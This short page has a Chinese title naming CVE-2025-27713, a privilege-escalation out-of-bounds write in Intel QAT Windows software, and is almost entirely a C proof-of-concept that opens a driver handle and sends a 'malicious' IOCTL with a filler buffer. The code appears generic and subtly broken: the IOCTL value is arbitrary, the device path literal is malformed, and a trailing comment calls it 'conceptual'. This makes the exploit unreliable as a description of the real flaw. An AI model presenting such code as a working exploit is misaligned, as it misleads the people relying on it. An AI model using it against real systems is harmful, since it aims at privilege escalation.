CVE-2025-27713: Intel QAT Windows越界写入权限提升漏洞

// CVE-2025-27713 PoC - Intel QAT Out-of-bounds Write // This PoC demonstrates the vulnerability in Intel QAT Windows software // Target: Intel QAT < 2.6.0 #include <windows.h> #include <stdio.h> #include <stdlib.h> // QAT driver IOCTL codes #define QAT_IOCTL_BASE 0x8000 #define QAT_IOCTL_VULN (QAT_IOCTL_BASE + 0x1) typedef struct _QAT_BUFFER { PVOID Address; ULONG Length; } QAT_BUFFER, *PQAT_BUFFER; typedef struct _QAT_VULN_INPUT { ULONG Size; PVOID UserBuffer; ULONG OperationType; } QAT_VULN_INPUT, *PQAT_VULN_INPUT; int main() { HANDLE hDevice; QAT_VULN_INPUT input; DWORD bytesReturned = 0; BOOL result; printf("[*] CVE-2025-27713 PoC - Intel QAT Out-of-bounds Write\n"); printf("[*] Target: Intel QAT Windows software < 2.6.0\n"); // Open QAT driver handle hDevice = CreateFile( "\\\\\\.\\QATDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open QAT driver\n"); return 1; } printf("[+] QAT driver handle obtained\n"); // Prepare malicious input to trigger out-of-bounds write input.Size = 0x1000; input.UserBuffer = VirtualAlloc(NULL, 0x2000, MEM_COMMIT, PAGE_READWRITE); if (!input.UserBuffer) { printf("[-] Failed to allocate memory\n"); CloseHandle(hDevice); return 1; } // Fill buffer with trigger pattern memset(input.UserBuffer, 0x41, 0x1000); input.OperationType = 0x1337; // Trigger specific code path printf("[*] Sending malicious IOCTL request...\n"); // Trigger vulnerable code path result = DeviceIoControl( hDevice, QAT_IOCTL_VULN, &input, sizeof(QAT_VULN_INPUT), NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] IOCTL request sent - check for privilege escalation\n"); } else { printf("[-] IOCTL request failed\n"); } VirtualFree(input.UserBuffer, 0, MEM_RELEASE); CloseHandle(hDevice); return 0; } // Note: This is a conceptual PoC. Actual exploitation requires: // 1. Valid authentication as low-privilege user // 2. Specific knowledge of QAT driver internals // 3. Precise memory layout manipulation // 4. High attack complexity (as per CVSS vector)
